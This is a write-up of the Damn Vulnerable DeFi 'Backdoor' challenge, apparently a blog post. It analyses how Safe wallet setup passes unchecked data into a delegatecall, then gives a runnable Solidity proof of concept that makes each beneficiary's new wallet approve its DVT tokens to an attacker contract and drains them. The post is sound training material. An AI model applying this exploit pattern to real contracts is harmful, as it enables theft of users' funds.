Damn Vulnerable DeFi — #11 Backdoor
Finally I’ve found some time to continue solving the Damn Vulnerable DeFi challenges, and today we’re going to talk about the eleventh challenge — Backdoor.
The goal of this challenge is to spot a vulnerability in the registry contract that is responsible for creating safe multisig wallets and rewarding beneficiaries with DVT tokens. This time, in order to solve the challenge, I had to learn more about proxies and understand how they work with other smart contracts.
The challenge itself consists of just one smart contract — WalletRegistry. However, in order to solve this challenge, I had to analyze a few other smart contracts from the Safe smart accounts library.
Let’s dive in!
🔍 Analysis
The WalletRegistry contract has 2 external functions: addBeneficiary and proxyCreated.
The addBeneficiary function, as the name suggests, is used for adding more beneficiaries who can receive DVT tokens in return for creating Safe multisig wallets. The function is guarded by the onlyOwner modifier, so we can't call this function directly and add ourselves as a beneficiary to steal money.
The proxyCreated function is responsible for handling all necessary checks to make sure that the wallet is correctly initialized and transferring DVT tokens.
The function performs the following sanity checks:
- Makes sure that the caller is the
walletFactorycontract - Verifies that the provided singleton contract as a parameter is the same as the singleton provided during contract initialization
- Verifies that the initializer parameter contains a function selector which points to the
Safe.setupfunction, which ensures that all necessary setup was performed already - Verifies if an owner of the newly created wallet is in the beneficiaries array
If all checks pass, then the walletRegistry transfers a share of DVT tokens to the newly created wallet. The function itself looks pretty straightforward and I didn't find a way to attack it.
But the function is the last step of wallet creation and has the following comment, which will lead us to the actual entry point where we should look around:
“Function executed when user creates a Safe wallet via SafeProxyFactory::createProxyWithCallback setting the registry’s address as the callback.”
The SafeProxyFactory contract is the factory used to create actual wallets - SafeProxy. Let's start from the function mentioned in the comment and follow the trace.
The createProxyWithCallback function receives a few parameters, among which is the previously mentioned initializer which must point to the setup function in the Safe contract.
Get 0xByteKnight’s stories in your inbox
Join Medium for free to get updates from this writer.
First, the function calls the createProxyWithNonce function and after successful proxy creation it calls the proxyCreated function in the WalletRegistry. Let's follow the trace and go deeper.
The createProxyWithNonce function packs together the initializer parameter with saltNonce to generate the salt and calls the next function, deployProxy.
This function first deploys the proxy (wallet) and then performs a call to the function specified in the initializer parameter and passes all required arguments with it. So far we didn’t discover anything suspicious, but as we remember, the initializer must point to the Safe.setup function, so let's take a closer look.
As we can see, the function receives a few parameters, but the most interesting for us are the following: address to and bytes calldata data. These parameters are next passed to the setupModules function without any checks, which in turn calls the execute function.
🐛 Vulnerability
Have you spotted the issue already?
The vulnerability arises from the fact that the caller can pass an arbitrary address and data that should be executed at this address without any additional checks.
That’s a big issue because the Safe contract stores and handles all funds itself, and because of unrestricted delegate calls, a malicious user can fabricate a message which will make the Safe contract approve all its funds to be spent by an attacker.
🧨 Exploit
To exploit the mechanism of wallet creation and steal funds, we need to prepare a contract which will call the createProxyWithCallback function passing a malicious payload to the setup function, which will make the wallet approve all of its tokens to our malicious contract. In order to steal all tokens, we will have to execute the attack by creating a wallet for each beneficiary specified in the WalletRegistry.
The attack path will look like this and will be repeated four times:
- Prepare malicious data that will be passed to the execute function
- Create a wallet by calling the
createProxyWithCallbackfunction - Call the setup function
- Approve all wallet’s DVT tokens to be spent by our malicious contract. In order to do so, we can’t call the ERC20 token directly because the proxy will try to execute the approve function in the context of its storage and won’t find any mapping which tracks allowance. Instead, we must use a prepared function in our malicious contract which will call the ERC20 token’s approve function and the
msg.senderwill be the wallet - Next, the callback to the
proxyCreatedfunction will be made and 10 DVT tokens will be transferred to the wallet - Transfer all wallet’s tokens to the recovery account
Below you can see a runnable PoC that shows how we can perform the exploit:
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {Safe} from "@safe-global/safe-smart-account/contracts/Safe.sol";
import {SafeProxyFactory} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxyFactory.sol";
import {SafeProxy} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxy.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {WalletRegistry} from "../../src/backdoor/WalletRegistry.sol";
contract BackdoorChallenge is Test {
/* Add setup function and checks before test_backdoor */
/**
* CODE YOUR SOLUTION HERE
*/
function test_backdoor() public checkSolvedByPlayer {
ExploitWalletRegistry maliciousContract = new ExploitWalletRegistry();
maliciousContract.attackWalletRegistry(
walletFactory,
singletonCopy,
walletRegistry,
users,
token,
recovery
);
}
/* Add _isSolved function after test_backdoor */
}
contract ExploitWalletRegistry {
function attackWalletRegistry(
SafeProxyFactory _proxyFactory,
Safe _singleton,
WalletRegistry _walletRegistry,
address[] memory _users,
DamnValuableToken _dvtToken,
address _recovery
) external {
SafeProxy proxy;
for (uint i = 0; i < _users.length; i++) {
address[] memory walletOwners = new address[](1);
walletOwners[0] = _users[i];
bytes memory initializer = abi.encodeWithSignature(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
walletOwners,
1,
address(this),
abi.encodeWithSignature(
"approveAllDvtTokens(address,address)",
address(_dvtToken),
address(this)
),
address(0),
address(0),
0,
payable(address(0))
);
proxy = _proxyFactory.createProxyWithCallback(
address(_singleton),
initializer,
1,
_walletRegistry
);
bool success = _dvtToken.transferFrom(
address(proxy),
_recovery,
_dvtToken.balanceOf(address(proxy))
);
require(success);
}
}
function approveAllDvtTokens(
DamnValuableToken token,
address spender
) external {
token.approve(spender, type(uint256).max);
}
}To execute the test, type forge test --mt test_backdoor in your terminal.
✅ Conclusion
This challenge required me to put more effort into understanding how proxies and delegate calls work and what are potential attack vectors. This is a great example of how unverified user input can be dangerous and lead to exploits of protocols. The vulnerability demonstrates the importance of validating all parameters passed to critical functions, especially when they involve arbitrary code execution through delegate calls.




